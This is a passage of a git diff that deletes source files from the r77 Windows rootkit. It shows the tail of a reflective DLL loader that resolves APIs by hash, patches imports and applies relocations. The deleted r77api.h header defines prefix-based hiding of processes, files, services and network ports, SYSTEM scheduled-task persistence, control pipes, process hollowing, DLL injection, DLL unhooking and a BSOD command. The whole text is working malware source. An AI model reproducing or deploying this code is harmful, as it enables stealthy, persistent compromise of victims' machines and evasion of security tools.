(nt::VIRTUALALLOC)PebGetProcAddress(0x6a4abc5b, 0x91afca54); - - // Safety check: Continue only, if all functions were found. - if (ntFlushInstructionCache && loadLibraryA && getProcAddress && virtualAlloc) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); - - // Allocate memory for the DLL. - LPBYTE allocatedMemory = (LPBYTE)virtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (allocatedMemory) - { - // Copy optional header to new memory. - libc::memcpy(allocatedMemory, dllBase, ntHeaders->OptionalHeader.SizeOfHeaders); - - // Copy sections to new memory. - PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - libc::memcpy(allocatedMemory + sections[i].VirtualAddress, dllBase + sections[i].PointerToRawData, sections[i].SizeOfRawData); - } - - // Read the import directory, call LoadLibraryA to import dependencies and patch the IAT. - PIMAGE_DATA_DIRECTORY importDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - if (importDirectory->Size) - { - for (PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(allocatedMemory + importDirectory->VirtualAddress); importDescriptor->Name; importDescriptor++) - { - LPBYTE module = (LPBYTE)loadLibraryA((LPCSTR)(allocatedMemory + importDescriptor->Name)); - if (module) - { - PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(allocatedMemory + importDescriptor->OriginalFirstThunk); - PUINT_PTR importAddressTable = (PUINT_PTR)(allocatedMemory + importDescriptor->FirstThunk); - - while (*importAddressTable) - { - if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - PIMAGE_NT_HEADERS moduleNtHeaders = (PIMAGE_NT_HEADERS)(module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(module + moduleNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - *importAddressTable = (UINT_PTR)(module + *(LPDWORD)(module + moduleExportDirectory->AddressOfFunctions + (IMAGE_ORDINAL(thunk->u1.Ordinal) - moduleExportDirectory->Base) * sizeof(DWORD))); - } - else - { - importDirectory = (PIMAGE_DATA_DIRECTORY)(allocatedMemory + *importAddressTable); - *importAddressTable = (UINT_PTR)getProcAddress((HMODULE)module, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)importDirectory)->Name); - } - - thunk = (PIMAGE_THUNK_DATA)((LPBYTE)thunk + sizeof(UINT_PTR)); - importAddressTable = (PUINT_PTR)((LPBYTE)importAddressTable + sizeof(UINT_PTR)); - } - } - } - } - - // Patch relocations. - PIMAGE_DATA_DIRECTORY relocationDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - if (relocationDirectory->Size) - { - UINT_PTR imageBase = (UINT_PTR)(allocatedMemory - ntHeaders->OptionalHeader.ImageBase); - - for (PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(allocatedMemory + relocationDirectory->VirtualAddress); baseRelocation->SizeOfBlock; baseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseRelocation + baseRelocation->SizeOfBlock)) - { - LPBYTE relocationAddress = allocatedMemory + baseRelocation->VirtualAddress; - nt::PIMAGE_RELOC relocations = (nt::PIMAGE_RELOC)((LPBYTE)baseRelocation + sizeof(IMAGE_BASE_RELOCATION)); - - for (UINT_PTR i = 0; i < (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(nt::IMAGE_RELOC); i++) - { - if (relocations[i].Type == IMAGE_REL_BASED_DIR64) *(PUINT_PTR)(relocationAddress + relocations[i].Offset) += imageBase; - else if (relocations[i].Type == IMAGE_REL_BASED_HIGHLOW) *(LPDWORD)(relocationAddress + relocations[i].Offset) += (DWORD)imageBase; - else if (relocations[i].Type == IMAGE_REL_BASED_HIGH) *(LPWORD)(relocationAddress + relocations[i].Offset) += HIWORD(imageBase); - else if (relocations[i].Type == IMAGE_REL_BASED_LOW) *(LPWORD)(relocationAddress + relocations[i].Offset) += LOWORD(imageBase); - } - } - } - - // Get actual main entry point. - nt::DLLMAIN dllMain = (nt::DLLMAIN)(allocatedMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint); - - // Flush instruction cache to avoid stale instructions on modified code to be executed. - ntFlushInstructionCache(INVALID_HANDLE_VALUE, NULL, 0); - - // Call actual DllMain. - return dllMain((HINSTANCE)allocatedMemory, DLL_PROCESS_ATTACH, NULL); - } - } - - // If loading failed, DllMain was not executed either. Return FALSE. - return FALSE; -} -#endif - -namespace nt -{ - NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) - { - return ((nt::NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); - } - NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) - { - // Use NtCreateThreadEx instead of CreateRemoteThread. - // CreateRemoteThread does not work across sessions in Windows 7. - return ((nt::NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); - } - NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) - { - return ((nt::RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); - } - NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) - { - return ((nt::RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); - } -} - -namespace libc -{ - VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size) - { - for (DWORD i = 0; i < size; i++) - { - *dest++ = *src++; - } - } - DWORD strhash(LPCSTR str) - { - DWORD hash = 0; - - while (*str) - { - hash = ROTR(hash, 13) + *str++; - } - - return hash; - } - DWORD strhashi(LPCSTR str, USHORT length) - { - DWORD hash = 0; - - for (USHORT i = 0; i < length; i++) - { - hash = ROTR(hash, 13) + (str[i] >= 'a' ? str[i] - 0x20 : str[i]); - } - - return hash; - } -} \ No newline at end of file diff --git a/src/r77api.h b/src/r77api.h deleted file mode 100644 index 8d52adb..0000000 --- a/src/r77api.h +++ /dev/null @@ -1,793 +0,0 @@ -#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up. -#pragma warning(disable: 26812) // The enum type is unscoped. Prefer 'enum class' over 'enum' -#pragma comment(lib, "ntdll.lib") -#pragma comment(lib, "shlwapi.lib") -#pragma comment(lib, "taskschd.lib") - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "ntdll.h" - -/// -/// Rotates a value right by a defined number of bits. -/// -#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits))) - -// These preprocessor definitions must match the constants in GlobalAssemblyInfo.cs - -/// -/// Set a random seed. -/// Example: InitializeApi(INITIALIZE_API_SRAND) -/// -#define INITIALIZE_API_SRAND 1 -/// -/// Obtain SeDebugPrivilege, if possible. -/// Example: InitializeApi(INITIALIZE_API_DEBUG_PRIVILEGE) -/// -#define INITIALIZE_API_DEBUG_PRIVILEGE 2 - -/// -/// The prefix for name based hiding (e.g. processes, files, etc...). -/// -#define HIDE_PREFIX L"$77" -/// -/// The length of the hide prefix, excluding the terminating null character. -/// -#define HIDE_PREFIX_LENGTH (sizeof(HIDE_PREFIX) / sizeof(WCHAR) - 1) - -/// -/// r77 header signature: The process is injected with the r77 DLL. -/// -#define R77_SIGNATURE 0x7277 -/// -/// r77 header signature: The process is the r77 service process. -/// -#define R77_SERVICE_SIGNATURE 0x7273 -/// -/// r77 header signature: The process is an r77 helper file (e.g. TestConsole.exe). -/// -#define R77_HELPER_SIGNATURE 0x7268 - -/// -/// Name for the scheduled task that starts the r77 service for 32-bit processes. -/// -#define R77_SERVICE_NAME32 HIDE_PREFIX L"svc32" -/// -/// Name for the scheduled task that starts the r77 service for 64-bit processes. -/// -#define R77_SERVICE_NAME64 HIDE_PREFIX L"svc64" - -/// -/// Name for the named pipe that notifies the 32-bit r77 service about new child processes. -/// -#define CHILD_PROCESS_PIPE_NAME32 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc32" -/// -/// Name for the named pipe that notifies the 64-bit r77 service about new child processes. -/// -#define CHILD_PROCESS_PIPE_NAME64 L"\\\\.\\pipe\\" HIDE_PREFIX L"childproc64" - -/// -/// Name for the named pipe that receives commands from external processes. -/// -#define CONTROL_PIPE_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control" -/// -/// Name for the internally used named pipe of the 64-bit r77 service that receives redirected commands from the 32-bit r77 service. -/// Do not use! Always use CONTROL_PIPE_NAME. -/// -#define CONTROL_PIPE_REDIRECT64_NAME L"\\\\.\\pipe\\" HIDE_PREFIX L"control_redirect64" - -/// -/// Specifies a list of processes that will not be injected. -/// By default, this list includes processes that are known to cause problems. -/// To customize this list, add custom entries and recompile. -/// -#define PROCESS_EXCLUSIONS { L"MSBuild.exe" } -// Example: { L"MSBuild.exe", L"your_app.exe", L"another_app.exe" } - -/// -/// The control code that terminates the r77 service. -/// -#define CONTROL_R77_TERMINATE_SERVICE 0x1001 -/// -/// The control code that uninstalls r77. -/// -#define CONTROL_R77_UNINSTALL 0x1002 -/// -/// The control code that temporarily pauses injection of new processes. -/// -#define CONTROL_R77_PAUSE_INJECTION 0x1003 -/// -/// The control code that resumes injection of new processes. -/// -#define CONTROL_R77_RESUME_INJECTION 0x1004 -/// -/// The control code that injects r77 into a specific process, if it is not yet injected. -/// -#define CONTROL_PROCESSES_INJECT 0x2001 -/// -/// The control code that injects r77 into all processes that are not yet injected. -/// -#define CONTROL_PROCESSES_INJECT_ALL 0x2002 -/// -/// The control code that detaches r77 from a specific process. -/// -#define CONTROL_PROCESSES_DETACH 0x2003 -/// -/// The control code that detaches r77 from all processes. -/// -#define CONTROL_PROCESSES_DETACH_ALL 0x2004 -/// -/// The control code that executes a file using ShellExecute. -/// -#define CONTROL_USER_SHELLEXEC 0x3001 -/// -/// The control code that executes an executable using process hollowing. -/// -#define CONTROL_USER_RUNPE 0x3002 -/// -/// The control code that triggers a BSOD. -/// -#define CONTROL_SYSTEM_BSOD 0x4001 - -/// -/// A callback that notifies about a process ID. -/// -typedef VOID(*PROCESSIDCALLBACK)(DWORD processId); -/// -/// A callback that notifies the r77 service about a command. -/// -typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe); - -/// -/// Defines a collection of ULONG values. -/// -typedef struct _INTEGER_LIST -{ - /// - /// The number of ULONG values in this list. - /// - DWORD Count; - /// - /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. - /// - DWORD Capacity; - /// - /// A buffer that stores the ULONG values in this list. - /// - PULONG Values; -} INTEGER_LIST, *PINTEGER_LIST; - -/// -/// Defines a collection of strings. -/// -typedef struct _STRING_LIST -{ - /// - /// The number of strings in this list. - /// - DWORD Count; - /// - /// The currently allocated capacity of the buffer. The buffer expands automatically when values are added. - /// - DWORD Capacity; - /// - /// TRUE to treat strings as case insensitive. - /// - BOOL IgnoreCase; - /// - /// A buffer that stores the strings in this list. - /// - LPWSTR *Values; -} STRING_LIST, *PSTRING_LIST; - -/// -/// Defines the r77 header. -/// -typedef struct _R77_PROCESS -{ - /// - /// The process ID of the process. - /// - DWORD ProcessId; - /// - /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE). - /// - WORD Signature; - /// - /// A function pointer to Rootkit::Detach in the remote process. This function detaches the injected r77 DLL - /// Applies only, if Signature == R77_SIGNATURE. - /// - DWORD64 DetachAddress; -} R77_PROCESS, *PR77_PROCESS; - -/// -/// Defines the global configuration for r77. -/// -typedef struct _R77_CONFIG -{ - /// - /// A list of file paths to start when windows starts. - /// - PSTRING_LIST StartupFiles; - /// - /// A list of process ID's to hide in addition to processes hidden by the prefix. - /// - PINTEGER_LIST HiddenProcessIds; - /// - /// A list of process names to hide in addition to processes hidden by the prefix. - /// - PSTRING_LIST HiddenProcessNames; - /// - /// A list of file or directory full paths to hide in addition to files and directories hidden by the prefix. - /// - PSTRING_LIST HiddenPaths; - /// - /// A list of service names to hide in addition to services hidden by the prefix. - /// - PSTRING_LIST HiddenServiceNames; - /// - /// A list of local TCP ports to hide. - /// - PINTEGER_LIST HiddenTcpLocalPorts; - /// - /// A list of remote TCP ports to hide. - /// - PINTEGER_LIST HiddenTcpRemotePorts; - /// - /// A list of UDP ports to hide. - /// - PINTEGER_LIST HiddenUdpPorts; -} R77_CONFIG, *PR77_CONFIG; - -/// -/// Defines a listener, that checks for new processes in a given interval. -/// -typedef struct _NEW_PROCESS_LISTENER -{ - /// - /// The interval, in milliseconds, between each enumeration of running processes. - /// - DWORD Interval; - /// - /// The function that is called, when a process is found that was not present in the previous enumeration. - /// - PROCESSIDCALLBACK Callback; -} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER; - -/// -/// Initializes API features. -/// -/// One or multiple flags to specify what should be initialized, or 0, if nothing should be initialized. -VOID InitializeApi(DWORD flags); -/// -/// Generates a random lowercase hexadecimal string. -/// -/// A buffer of unicode characters to write the string to. -/// The number of characters to write. -VOID RandomString(PWCHAR str, DWORD length); -/// -/// Converts a LPCWSTR into a null terminated LPCSTR. -/// -/// The LPCWSTR to convert. -/// -/// A newly allocated LPCSTR with the converted LPCWSTR. -/// -LPCSTR ConvertStringToAString(LPCWSTR str); -/// -/// Converts a UNICODE_STRING into a null terminated LPWSTR. -/// -/// The UNICODE_STRING to convert. -/// -/// A newly allocated LPWSTR with the converted UNICODE_STRING. -/// -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); -/// -/// Determines whether the operating system is a 64-bit operating system. -/// -/// -/// TRUE, if the operating system is a 64-bit operating system; -/// otherwise, FALSE. -/// -BOOL Is64BitOperatingSystem(); -/// -/// Determines whether a process is a 64-bit process. -/// -/// The process ID to check. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit); -/// -/// Retrieves a function from a DLL specified by a name. -/// -/// The name of the DLL to retrieve the function from. -/// The name of the function to retrieve. -/// -/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. -/// -LPVOID GetFunction(LPCSTR dll, LPCSTR function); -/// -/// Gets the integrity level of a process. -/// -/// The process ID to check. -/// A pointer to a DWORD value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); -/// -/// Gets the filename or the full path of a process. -/// -/// The process ID to retrieve the filename or full path from. -/// TRUE to return the full path, FALSE to return only the filename. -/// A buffer to write the filename or full path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength); -/// -/// Gets the username of a process. -/// -/// The handle to the process to check. -/// A buffer of unicode characters to write the result to. -/// The length of the result buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); -/// -/// Obtains the SeDebugPrivilege. -/// -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL EnabledDebugPrivilege(); -/// -/// Gets an executable resource. -/// -/// The identifier of the resource. -/// The type identifier of the resource. -/// A pointer that is set to a newly allocated buffer with the resource data. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); -/// -/// Retrieves the full path from a file handle. -/// -/// A file handle to retrieve the path from. -/// A buffer to write the path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); -/// -/// Reads the contents of a file. -/// -/// The path to the file to read. -/// A pointer that is set to a newly allocated buffer with the file contents. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); -/// -/// Reads a null terminated LPCWSTR from the specified file. -/// -/// A file handle to read the string from. -/// The buffer to write the string to. -/// The length of the string buffer. -/// -/// TRUE, if this function succeeds; -/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. -/// -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); -/// -/// Writes a buffer to a file. -/// -/// The path to the file to create. -/// A buffer to write to the file. -/// The number of bytes to write. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); -/// -/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. -/// -/// A buffer to write to the file. -/// The number of bytes to write. -/// The extension to append to the random filename, excluding the dot. -/// A buffer of unicode characters to write the path of the created file to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); -/// -/// Executes a file and waits for the process to exit. -/// -/// The path to the file to execute. -/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. -/// -/// TRUE, if the file was successfully executed; -/// otherwise, FALSE. -/// If the file was executed, but deletion failed, TRUE is returned. -/// -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); -/// -/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. -/// -/// The name of the scheduled task. -/// The working directory of the scheduled task. -/// The application name of the scheduled task. -/// The commandline arguments to pass to the created process. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); -/// -/// Starts a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunScheduledTask(LPCWSTR name); -/// -/// Deletes a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DeleteScheduledTask(LPCWSTR name); -/// -/// Creates a named pipe that is accessible by every process. -/// -/// The name of the named pipe to be created. -/// -/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. -/// -HANDLE CreatePublicNamedPipe(LPCWSTR name); - -/// -/// Determines the bitness of an executable file. -/// -/// A buffer containing the executable file. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); -/// -/// Retrieves a function pointer from the PEB. -/// -/// The hash of the module name. The module must be loaded. -/// The hash of the function name. -/// -/// A pointer to the function, or NULL, if the function could not be found. -/// -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); -/// -/// Creates a new process using the process hollowing technique. -/// The bitness of the current process, the created process and the payload must match. -/// -/// The target executable path. This can be any existing file with the same bitness as the current process and the payload. -/// The actual executable that is the payload of the new process, regardless of the path argument. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunPE(LPCWSTR path, LPBYTE payload); -/// -/// Injects a DLL using reflective DLL injection. -/// The DLL must export a function called "ReflectiveDllMain". -/// The bitness of the target process must match that of the current process. -/// The integrity level of the target process must be at least medium. -/// The process must not be critical. -/// -/// The process to inject the DLL in. -/// A buffer with the DLL file. -/// dllSize The size of the DLL file. -/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE. -/// -/// TRUE, if the DLL was successfully injected and DllMain returned TRUE; -/// otherwise, FALSE. -/// -BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast); -/// -/// Gets the file offset of an exported function from an executable file. -/// -/// A buffer with the executable file. -/// The name of the exported function. -/// -/// The file offset of the exported function; or 0, if this function fails. -/// -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); -/// -/// Converts a RVA to a file offset. -/// -/// A buffer with the executable file. -/// The RVA to convert. -/// -/// The file offset converted from the specified RVA; or 0, if this function fails. -/// -DWORD RvaToOffset(LPBYTE image, DWORD rva); -/// -/// Unhooks a DLL by replacing the .text section with the original DLL section. -/// -/// The name of the DLL to unhook. -VOID UnhookDll(LPCWSTR name); -/// -/// Determines whether the process is on the process exclusion list and should not be injected. -/// -/// The process ID to check. -/// -/// TRUE, if the process should not be injected; -/// otherwise, FALSE. -/// -BOOL IsProcessExcluded(DWORD processId); - -/// -/// Creates a new INTEGER_LIST. -/// -/// -/// A pointer to the newly created INTEGER_LIST structure. -/// -PINTEGER_LIST CreateIntegerList(); -/// -/// Loads DWORD values from the specified registry key into the specified INTEGER_LIST structure. -/// Values that are already in the list are not added. -/// -/// The INTEGER_LIST structure to add the values to. -/// The registry key to read DWORD values from. -VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key); -/// -/// Deletes the specified INTEGER_LIST structure. -/// -/// The INTEGER_LIST structure to delete. -VOID DeleteIntegerList(PINTEGER_LIST list); -/// -/// Adds a ULONG value to the specified INTEGER_LIST. -/// -/// The INTEGER_LIST structure to add the ULONG value to. -/// The ULONG value to add to the list. -VOID IntegerListAdd(PINTEGER_LIST list, ULONG value); -/// -/// Determines whether the ULONG value is in the specified INTEGER_LIST. -/// -/// The INTEGER_LIST structure to search. -/// The ULONG value to check. -/// -/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST; -/// otherwise, FALSE. -/// -BOOL IntegerListContains(PINTEGER_LIST list, ULONG value); -/// -/// Compares two INTEGER_LIST structures for equality. -/// -/// The first INTEGER_LIST structure. -/// The second INTEGER_LIST structure. -/// -/// TRUE, if both INTEGER_LIST structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB); - -/// -/// Creates a new STRING_LIST. -/// -/// TRUE to treat strings as case insensitive. -/// -/// A pointer to the newly created STRING_LIST structure. -/// -PSTRING_LIST CreateStringList(BOOL ignoreCase); -/// -/// Loads REG_SZ values from the specified registry key into the specified STRING_LIST structure. -/// Strings that are already in the list are not added. -/// -/// The STRING_LIST structure to add the strings to. -/// The registry key to read REG_SZ values from. -/// The maximum length of REG_SZ values that are read from the registry key. -VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength); -/// -/// Deletes the specified STRING_LIST structure. -/// -/// The STRING_LIST structure to delete. -VOID DeleteStringList(PSTRING_LIST list); -/// -/// Adds a string to the specified STRING_LIST. -/// -/// The STRING_LIST structure to add the string to. -/// The string to add to the list. -VOID StringListAdd(PSTRING_LIST list, LPCWSTR value); -/// -/// Determines whether the string is in the specified STRING_LIST. -/// -/// The STRING_LIST structure to search. -/// The string to check. -/// -/// TRUE, if the specified string is in the specified STRING_LIST; -/// otherwise, FALSE. -/// -BOOL StringListContains(PSTRING_LIST list, LPCWSTR value); -/// -/// Compares two STRING_LIST structures for equality. -/// -/// The first STRING_LIST structure. -/// The second STRING_LIST structure. -/// -/// TRUE, if both STRING_LIST structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB); - -/// -/// Retrieves a list of all processes where an r77 header is present. -/// The result includes only processes where the bitness matches that of the current process. -/// -/// A buffer with R77_PROCESS structures to write the result to. -/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count); -/// -/// Detaches r77 from the specified process. -/// The bitness of the target process must match that of the current process. -/// -/// The process to detach r77 from. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DetachInjectedProcess(const R77_PROCESS &r77Process); -/// -/// Detaches r77 from the specified process. -/// The bitness of the target process must match that of the current process. -/// -/// The process ID to detach r77 from. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DetachInjectedProcess(DWORD processId); -/// -/// Detaches r77 from all running processes. -/// Only processes where the bitness matches that of the current process are detached. -/// -VOID DetachAllInjectedProcesses(); -/// -/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process. -/// Only processes where the bitness matches that of the current process are terminated. -/// -/// -/// A process ID that should not be terminated. Use -1 to not exclude any processes. -/// -VOID TerminateR77Service(DWORD excludedProcessId); - -/// -/// Loads the global configuration for r77. -/// -/// -/// A newly allocated R77_CONFIG structure. -/// -PR77_CONFIG LoadR77Config(); -/// -/// Deletes the specified R77_CONFIG structure. -/// -/// The R77_CONFIG structure to delete. -VOID DeleteR77Config(PR77_CONFIG config); -/// -/// Compares two R77_CONFIG structures for equality. -/// -/// The first R77_CONFIG structure. -/// The second R77_CONFIG structure. -/// -/// TRUE, if both R77_CONFIG structures are equal; -/// otherwise, FALSE. -/// -BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB); -/// -/// Creates the r77 configuration registry key with full access to all users. -/// -/// The newly created HKEY. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL InstallR77Config(PHKEY key); -/// -/// Deletes the r77 configuration from the registry. -/// -VOID UninstallR77Config(); - -/// -/// Creates a named pipe that listens for notifications about created child processes. -/// -/// The function that is called, when the named pipe received a process ID. -VOID ChildProcessListener(PROCESSIDCALLBACK callback); -/// -/// Notifies the child process listener about a new child process. When this function returns, the child process has been injected. -/// -/// The process ID of the new process. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL HookChildProcess(DWORD processId); - -/// -/// Creates a new process listener, that checks for new processes in a given interval. -/// -/// The interval, in milliseconds, between each enumeration of running processes. -/// The function that is called, when a process is found that was not present in the previous enumeration. -/// -/// A pointer to the newly created NEW_PROCESS_LISTENER structure. -/// -PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback); - -/// -/// Creates a new listener for the control pipe that receives commands from any process. -/// -/// The function that is called, when a command is received by another process. -VOID ControlPipeListener(CONTROLCALLBACK callback); - -#ifdef EXPORT_REFLECTIVE_DLL_MAIN -/// -/// Position independent shellcode that loads the DLL after it was written to the remote process memory. -/// This is the main entry point for reflective DLL injection. -/// -/// A pointer to the beginning of the DLL file. -/// -/// If this function succeeds, the return value of DllMain; -/// otherwise, FALSE. -/// -__declspec(dllexport) BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase); -#endif - -namespace nt -{ - NTSTATUS NTAPI NtQueryObject(HANDLE handle, nt::OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); - NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); - NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); - NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); -} - -// Shellcode variants of libc functions; Used by the reflective loader, prior to any DLL's being loaded -namespace libc -{ - VOID memcpy(LPBYTE dest, LPBYTE src, DWORD size); - DWORD strhash(LPCSTR str); - DWORD strhashi(LPCSTR str, USHORT length); -} \ No newline at end of file diff --git a/vs/Helper32/Helper32.vcxproj.filters b/vs/Helper32/Helper32.vcxproj.filters deleted file mode 100644 index ac7adc0..0000000 --- a/vs/Helper32/Helper32.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/Helper64/Helper64.vcxproj.filters b/vs/Helper64/Helper64.vcxproj.filters deleted file mode 100644 index ac7adc0..0000000 --- a/vs/Helper64/Helper64.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/vs/Install/Resource.rc b/vs/Install/Resource.rc deleted file mode 100644 index d4a1e57..0000000 --- a/vs/Install/Resource.rc +++ /dev/null @@ -1,69 +0,0 @@ -// Microsoft Visual C++ generated resource script. -// 